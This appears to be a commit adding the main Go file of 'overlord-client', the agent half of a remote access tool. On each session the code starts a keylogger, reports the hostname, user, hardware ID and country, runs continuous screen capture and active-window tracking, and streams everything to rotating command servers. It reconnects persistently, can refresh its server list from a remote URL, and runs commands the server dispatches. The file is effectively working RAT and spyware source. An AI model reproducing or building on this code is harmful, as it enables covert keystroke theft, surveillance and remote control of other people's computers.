inital commit
This commit is contained in:
@@ -0,0 +1,515 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/activewindow"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
"overlord-client/cmd/agent/config"
|
||||
"overlord-client/cmd/agent/handlers"
|
||||
"overlord-client/cmd/agent/keylogger"
|
||||
"overlord-client/cmd/agent/plugins"
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"nhooyr.io/websocket"
|
||||
)
|
||||
|
||||
func runClient(cfg config.Config) {
|
||||
baseBackoff := computeBaseBackoff()
|
||||
backoff := baseBackoff
|
||||
log.Printf("runtime GOOS=%s GOARCH=%s cfg.OS=%s cfg.Arch=%s", runtime.GOOS, runtime.GOARCH, cfg.OS, cfg.Arch)
|
||||
|
||||
ensureServerURLs(&cfg, baseBackoff)
|
||||
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
log.Printf("Failover enabled with %d servers:", len(cfg.ServerURLs))
|
||||
for i, url := range cfg.ServerURLs {
|
||||
marker := ""
|
||||
if i == cfg.ServerIndex {
|
||||
marker = " (starting here)"
|
||||
}
|
||||
log.Printf(" [%d] %s%s", i, url, marker)
|
||||
}
|
||||
}
|
||||
|
||||
tlsMinVersion := uint16(tls.VersionTLS12)
|
||||
transport := createHTTPTransport(cfg, tlsMinVersion)
|
||||
currentIndex := cfg.ServerIndex
|
||||
consecutiveFailures := 0
|
||||
// idek how tf to fix this. sometimes the client just says fuck you and downgrades then stops connections.
|
||||
allowTLSDowngrade := false
|
||||
|
||||
for {
|
||||
|
||||
if currentIndex >= len(cfg.ServerURLs) {
|
||||
currentIndex = 0
|
||||
}
|
||||
|
||||
currentServer := cfg.ServerURLs[currentIndex]
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
url := fmt.Sprintf("%s/api/clients/%s/stream/ws?role=client", currentServer, cfg.ID)
|
||||
|
||||
opts := buildDialOptions(cfg, transport)
|
||||
|
||||
serverInfo := ""
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
serverInfo = fmt.Sprintf(" [%d/%d]", currentIndex+1, len(cfg.ServerURLs))
|
||||
}
|
||||
log.Printf("connecting to %s%s (TLS verify: %v)", currentServer, serverInfo, !cfg.TLSInsecureSkipVerify)
|
||||
|
||||
conn, _, err := websocket.Dial(ctx, url, opts)
|
||||
if err != nil {
|
||||
log.Printf("dial failed: %v (retrying in %s)", err, backoff)
|
||||
consecutiveFailures++
|
||||
|
||||
if shouldRefreshRawList(cfg, consecutiveFailures) {
|
||||
if refreshServerURLsFromRaw(&cfg) {
|
||||
currentIndex = 0
|
||||
consecutiveFailures = 0
|
||||
}
|
||||
}
|
||||
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
|
||||
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
|
||||
}
|
||||
|
||||
time.Sleep(backoff)
|
||||
cancel()
|
||||
continue
|
||||
}
|
||||
|
||||
if currentIndex != cfg.ServerIndex {
|
||||
if err := config.SaveServerIndex(currentIndex); err != nil {
|
||||
log.Printf("Warning: failed to save server index: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
backoff = baseBackoff
|
||||
consecutiveFailures = 0
|
||||
log.Printf("connected successfully to %s%s", currentServer, serverInfo)
|
||||
|
||||
conn.SetReadLimit(8 * 1024 * 1024)
|
||||
|
||||
var sessionErr error
|
||||
if err := runSession(ctx, cancel, conn, cfg); err != nil {
|
||||
sessionErr = err
|
||||
if allowTLSDowngrade && isTLSVersionError(err) {
|
||||
log.Printf("[TLS] remote rejected TLS version; downgrading to TLS 1.0 for compatibility")
|
||||
tlsMinVersion = uint16(tls.VersionTLS10)
|
||||
transport = createHTTPTransport(cfg, tlsMinVersion)
|
||||
allowTLSDowngrade = false
|
||||
}
|
||||
log.Printf("session ended: %v (retrying in %s)", err, backoff)
|
||||
|
||||
if shouldRefreshRawList(cfg, len(cfg.ServerURLs)) {
|
||||
if refreshServerURLsFromRaw(&cfg) {
|
||||
currentIndex = 0
|
||||
consecutiveFailures = 0
|
||||
}
|
||||
}
|
||||
|
||||
if len(cfg.ServerURLs) > 1 {
|
||||
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
|
||||
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
|
||||
}
|
||||
}
|
||||
|
||||
sleepFor := backoff
|
||||
if sessionErr != nil && shouldRetryImmediately(sessionErr) {
|
||||
sleepFor = reconnectDelay()
|
||||
log.Printf("reconnect: immediate retry in %s", sleepFor)
|
||||
}
|
||||
time.Sleep(sleepFor)
|
||||
}
|
||||
}
|
||||
|
||||
func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
|
||||
headers := http.Header{}
|
||||
if token := strings.TrimSpace(cfg.AgentToken); token != "" {
|
||||
headers.Set("x-agent-token", token)
|
||||
}
|
||||
return &websocket.DialOptions{
|
||||
Subprotocols: []string{"binary"},
|
||||
HTTPClient: &http.Client{Transport: transport},
|
||||
HTTPHeader: headers,
|
||||
CompressionMode: websocket.CompressionContextTakeover,
|
||||
}
|
||||
}
|
||||
|
||||
func ensureServerURLs(cfg *config.Config, backoff time.Duration) {
|
||||
if len(cfg.ServerURLs) > 0 {
|
||||
return
|
||||
}
|
||||
|
||||
if cfg.RawServerListURL == "" {
|
||||
log.Printf("[config] WARNING: no server URLs configured; falling back to default %s", config.DefaultServerURL)
|
||||
cfg.ServerURLs = []string{config.DefaultServerURL}
|
||||
return
|
||||
}
|
||||
|
||||
log.Printf("No server URLs configured. Fetching raw list from %s", cfg.RawServerListURL)
|
||||
for len(cfg.ServerURLs) == 0 {
|
||||
if refreshServerURLsFromRaw(cfg) {
|
||||
return
|
||||
}
|
||||
log.Printf("Retrying raw server list fetch in %s", backoff)
|
||||
time.Sleep(backoff)
|
||||
}
|
||||
}
|
||||
|
||||
func shouldRefreshRawList(cfg config.Config, failures int) bool {
|
||||
if cfg.RawServerListURL == "" {
|
||||
return false
|
||||
}
|
||||
if len(cfg.ServerURLs) == 0 {
|
||||
return true
|
||||
}
|
||||
return failures >= len(cfg.ServerURLs)
|
||||
}
|
||||
|
||||
func refreshServerURLsFromRaw(cfg *config.Config) bool {
|
||||
urls, err := config.LoadServerURLsFromRaw(cfg.RawServerListURL)
|
||||
if err != nil {
|
||||
log.Printf("[config] WARNING: failed to refresh raw server list: %v", err)
|
||||
return false
|
||||
}
|
||||
|
||||
if len(urls) == 0 {
|
||||
log.Printf("[config] WARNING: raw server list returned no URLs")
|
||||
return false
|
||||
}
|
||||
|
||||
if !equalStringSlices(cfg.ServerURLs, urls) {
|
||||
log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
|
||||
cfg.ServerURLs = urls
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func equalStringSlices(a, b []string) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := range a {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func createHTTPTransport(cfg config.Config, minVersion uint16) *http.Transport {
|
||||
tlsConfig := &tls.Config{
|
||||
InsecureSkipVerify: cfg.TLSInsecureSkipVerify,
|
||||
MinVersion: minVersion,
|
||||
}
|
||||
|
||||
if cfg.TLSCAPath != "" {
|
||||
caCert, err := os.ReadFile(cfg.TLSCAPath)
|
||||
if err != nil {
|
||||
log.Printf("[TLS] WARNING: Failed to read CA certificate from %s: %v", cfg.TLSCAPath, err)
|
||||
} else {
|
||||
caCertPool := x509.NewCertPool()
|
||||
if caCertPool.AppendCertsFromPEM(caCert) {
|
||||
tlsConfig.RootCAs = caCertPool
|
||||
log.Printf("[TLS] Loaded custom CA certificate from %s", cfg.TLSCAPath)
|
||||
} else {
|
||||
log.Printf("[TLS] WARNING: Failed to parse CA certificate from %s", cfg.TLSCAPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.TLSClientCert != "" && cfg.TLSClientKey != "" {
|
||||
cert, err := tls.LoadX509KeyPair(cfg.TLSClientCert, cfg.TLSClientKey)
|
||||
if err != nil {
|
||||
log.Printf("[TLS] WARNING: Failed to load client certificate: %v", err)
|
||||
} else {
|
||||
tlsConfig.Certificates = []tls.Certificate{cert}
|
||||
log.Printf("[TLS] Loaded client certificate for mutual TLS")
|
||||
}
|
||||
}
|
||||
|
||||
if cfg.TLSInsecureSkipVerify {
|
||||
log.Printf("[TLS] WARNING: Certificate verification is DISABLED. This is insecure!")
|
||||
}
|
||||
|
||||
transport := http.DefaultTransport.(*http.Transport).Clone()
|
||||
transport.TLSClientConfig = tlsConfig
|
||||
return transport
|
||||
}
|
||||
|
||||
func isTLSVersionError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
msg := strings.ToLower(err.Error())
|
||||
return strings.Contains(msg, "protocol version not supported") ||
|
||||
strings.Contains(msg, "tls: protocol version not supported")
|
||||
}
|
||||
|
||||
func computeBaseBackoff() time.Duration {
|
||||
mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE")))
|
||||
_ = mode
|
||||
return randomReconnectDelay(10*time.Second, 30*time.Second)
|
||||
}
|
||||
|
||||
func reconnectDelay() time.Duration {
|
||||
raw := strings.TrimSpace(os.Getenv("OVERLORD_RECONNECT_DELAY_MS"))
|
||||
if raw == "" {
|
||||
return randomReconnectDelay(10*time.Second, 30*time.Second)
|
||||
}
|
||||
ms, err := strconv.Atoi(raw)
|
||||
if err != nil || ms < 0 {
|
||||
log.Printf("[reconnect] invalid OVERLORD_RECONNECT_DELAY_MS=%q, using 10-30s", raw)
|
||||
return randomReconnectDelay(10*time.Second, 30*time.Second)
|
||||
}
|
||||
if ms == 0 {
|
||||
return 0
|
||||
}
|
||||
return time.Duration(ms) * time.Millisecond
|
||||
}
|
||||
|
||||
var reconnectRng = rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
|
||||
func randomReconnectDelay(min, max time.Duration) time.Duration {
|
||||
if max <= min {
|
||||
return min
|
||||
}
|
||||
delta := max - min
|
||||
n := time.Duration(reconnectRng.Int63n(int64(delta) + 1))
|
||||
return min + n
|
||||
}
|
||||
|
||||
func shouldRetryImmediately(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
if errors.Is(err, handlers.ErrReconnect) {
|
||||
return true
|
||||
}
|
||||
var closeErr *websocket.CloseError
|
||||
if errors.As(err, &closeErr) {
|
||||
if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
|
||||
return true
|
||||
}
|
||||
if closeErr.Code == websocket.StatusAbnormalClosure {
|
||||
return true
|
||||
}
|
||||
}
|
||||
msg := strings.ToLower(err.Error())
|
||||
if strings.Contains(msg, "timed out from inactivity") {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getPingInterval() time.Duration {
|
||||
raw := strings.TrimSpace(os.Getenv("OVERLORD_PING_INTERVAL_MS"))
|
||||
if raw == "" {
|
||||
return 30 * time.Second
|
||||
}
|
||||
ms, err := strconv.Atoi(raw)
|
||||
if err != nil {
|
||||
log.Printf("[ping] invalid OVERLORD_PING_INTERVAL_MS=%q, using 30000ms", raw)
|
||||
return 30 * time.Second
|
||||
}
|
||||
if ms <= 0 {
|
||||
return 0
|
||||
}
|
||||
return time.Duration(ms) * time.Millisecond
|
||||
}
|
||||
|
||||
func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.Conn, cfg config.Config) (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("session panic: %v", r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("%s (see %s)", reason, path)
|
||||
err = fmt.Errorf("session panic: %v", r)
|
||||
}
|
||||
}()
|
||||
defer cancel()
|
||||
defer conn.Close(websocket.StatusNormalClosure, "bye")
|
||||
|
||||
safeWriter := wire.NewSafeWriter(conn)
|
||||
env := &rt.Env{Conn: safeWriter, Cfg: cfg, Cancel: cancel, SelectedDisplay: handlers.GetPersistedDisplay()}
|
||||
env.SetLastPong(time.Now().UnixMilli())
|
||||
env.Console = rt.NewConsoleHub(env)
|
||||
env.Plugins = plugins.NewManager(env.Conn, plugins.HostInfo{ClientID: cfg.ID, OS: cfg.OS, Arch: cfg.Arch, Version: cfg.Version})
|
||||
defer env.Plugins.Close()
|
||||
|
||||
env.Keylogger = keylogger.New()
|
||||
if err := env.Keylogger.Start(); err != nil {
|
||||
log.Printf("[keylogger] Failed to start: %v", err)
|
||||
} else {
|
||||
defer env.Keylogger.Stop()
|
||||
}
|
||||
|
||||
dispatcher := handlers.NewDispatcher(env)
|
||||
|
||||
osVal := strings.TrimSpace(cfg.OS)
|
||||
if osVal == "" {
|
||||
osVal = runtime.GOOS
|
||||
}
|
||||
|
||||
archVal := strings.TrimSpace(cfg.Arch)
|
||||
if archVal == "" {
|
||||
archVal = runtime.GOARCH
|
||||
}
|
||||
|
||||
hello := wire.Hello{
|
||||
Type: "hello",
|
||||
ID: cfg.ID,
|
||||
HWID: cfg.HWID,
|
||||
Host: rt.Hostname(),
|
||||
OS: osVal,
|
||||
Arch: archVal,
|
||||
Version: cfg.Version,
|
||||
User: rt.CurrentUser(),
|
||||
Monitors: capture.MonitorCount(),
|
||||
MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
|
||||
Country: cfg.Country,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||
return fmt.Errorf("send hello: %w", err)
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}); err != nil {
|
||||
log.Printf("ping: failed to send initial ping: %v", err)
|
||||
cancel()
|
||||
return fmt.Errorf("send initial ping: %w", err)
|
||||
}
|
||||
|
||||
if interval := getPingInterval(); interval > 0 {
|
||||
log.Printf("ping: heartbeat interval=%s", interval)
|
||||
goSafe("ping loop", cancel, func() {
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
ping := wire.Ping{Type: "ping", TS: time.Now().UnixMilli()}
|
||||
if err := wire.WriteMsg(ctx, env.Conn, ping); err != nil {
|
||||
log.Printf("ping: failed to send: %v", err)
|
||||
cancel()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
goSafe("pong watchdog", cancel, func() {
|
||||
grace := interval + (10 * time.Second)
|
||||
if grace < 20*time.Second {
|
||||
grace = 20 * time.Second
|
||||
}
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
last := env.LastPong()
|
||||
if !last.IsZero() && time.Since(last) > grace {
|
||||
log.Printf("ping: no pong for %s, forcing reconnect", time.Since(last))
|
||||
cancel()
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
readErr := make(chan error, 1)
|
||||
go func() {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
reason := fmt.Sprintf("readLoop panic: %v", r)
|
||||
stack := debug.Stack()
|
||||
path := writeCrashLog(reason, stack)
|
||||
log.Printf("%s (see %s)", reason, path)
|
||||
err := fmt.Errorf("%s", reason)
|
||||
select {
|
||||
case readErr <- err:
|
||||
default:
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
}()
|
||||
|
||||
if err := readLoop(ctx, conn, env, dispatcher); err != nil {
|
||||
log.Printf("readLoop ended: %v", err)
|
||||
select {
|
||||
case readErr <- err:
|
||||
default:
|
||||
}
|
||||
cancel()
|
||||
}
|
||||
}()
|
||||
|
||||
shotCtx, cancelShots := context.WithCancel(ctx)
|
||||
defer cancelShots()
|
||||
goSafe("capture loop", cancel, func() {
|
||||
capture.Loop(shotCtx, env)
|
||||
})
|
||||
|
||||
goSafe("activewindow", nil, func() {
|
||||
if err := activewindow.Start(ctx, env); err != nil {
|
||||
log.Printf("activewindow error: %v", err)
|
||||
}
|
||||
})
|
||||
|
||||
return <-readErr
|
||||
}
|
||||
|
||||
func toWireMonitorInfo(infos []capture.MonitorInfo) []wire.MonitorInfo {
|
||||
if len(infos) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]wire.MonitorInfo, 0, len(infos))
|
||||
for _, info := range infos {
|
||||
out = append(out, wire.MonitorInfo{Width: info.Width, Height: info.Height})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func readLoop(ctx context.Context, conn *websocket.Conn, env *rt.Env, dispatcher *handlers.Dispatcher) error {
|
||||
for {
|
||||
_, data, err := conn.Read(ctx)
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return err
|
||||
}
|
||||
log.Printf("readLoop: read error: %v", err)
|
||||
return err
|
||||
}
|
||||
envelope, err := wire.DecodeEnvelope(data)
|
||||
if err != nil {
|
||||
log.Printf("decode: %v (bytes=%d)", err, len(data))
|
||||
continue
|
||||
}
|
||||
if err := dispatcher.Dispatch(ctx, envelope); err != nil {
|
||||
log.Printf("dispatcher error: %v (type=%v)", err, envelope["type"])
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user